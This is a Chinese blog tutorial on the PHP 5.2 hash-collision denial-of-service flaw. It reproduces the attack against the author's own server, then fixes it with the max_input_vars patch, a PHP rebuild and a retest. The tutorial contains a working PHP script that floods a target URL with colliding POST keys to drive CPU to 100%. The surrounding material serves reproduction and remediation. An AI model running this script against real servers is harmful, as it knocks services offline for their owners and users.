PHP Hash冲突导致 CPU 100%的完全解决方法
<p style="TEXT-ALIGN: left">我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。</p><p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040127.jpg" /></p>
<p style="TEXT-ALIGN: left">PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。</p>
<p style="TEXT-ALIGN: left"><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040128.jpg" /></p>
<p> 我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。<br />程序语言如下:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode2"> <br /><?php <br />echo $showtime=date("Y-m-d H:i:s"); <br />?> <br /></div><br />执行后的效果是取当前服务器的时间。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040129.jpg" /></p>
<p> 找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:<br /># Vi hash.php</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode3"> <br /><?php <br />$size = pow(2, 16); <br />$data = ''; <br />for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { <br />$data .= $key.'=&'; <br />} <br />$url = 'http://www.liuxxxxx.com/checktime.php'; <br />$rs = array(); <br />$ch = curl_init(); <br />curl_setopt($ch, CURLOPT_HEADER,0); <br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); <br />curl_setopt($ch, CURLOPT_URL, $url); <br />curl_setopt($ch, CURLOPT_POST, 1); <br />curl_setopt($ch, CURLOPT_POSTFIELDS, $data); <br />for ($i=0; $i<100; ++$i) <br />{ <br />curl_exec($ch); <br />} <br />curl_close($ch); <br />?> <br /></div><br />url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。<br /># /usr/local/php/bin/php hash.php</p>
<p> 在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040130.jpg" /></p>
<p><br /> Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040131.jpg" /></p>
<p>刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040132.jpg" /></p>
<p>结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。</p>
<p>打上补丁,我们再观察一下。<br />1、先查下以后在搭建环境时,PHP的编译参数</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040133.jpg" /></p>
<p>2、到网上去下载一个PHP补丁,下载地址为:<br />https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040134.jpg" /></p>
<p><br />3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。<br />在新弹出的页面点“raw”,就会打开这个补丁文件。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040135.jpg" /></p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040136.jpg" /></p>
<p><br /> 把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。</p>
<p>4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040137.jpg" /></p>
<p><br />5、打补丁并重新编译一下php</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040138.jpg" /></p>
<p>再config<br />再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每个环境不一样<br />再make install</p>
<p>6、重启一下apache,看效果<br /># pkill httpd<br />#/usr/local/apache/bin/apachectl start</p>
<p>访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。<br /><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040139.jpg" /></p>
<p><br />在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。</p>
<p><img border="0" alt="" src="https://img.jbzj.com/file_images/article/201209/20120918165040140.jpg" /></p>
<p> </p>
<p>问题解决!<br /> </p>
<p>本文出自 “系统网络运维” 博客</p>
頁:
[1]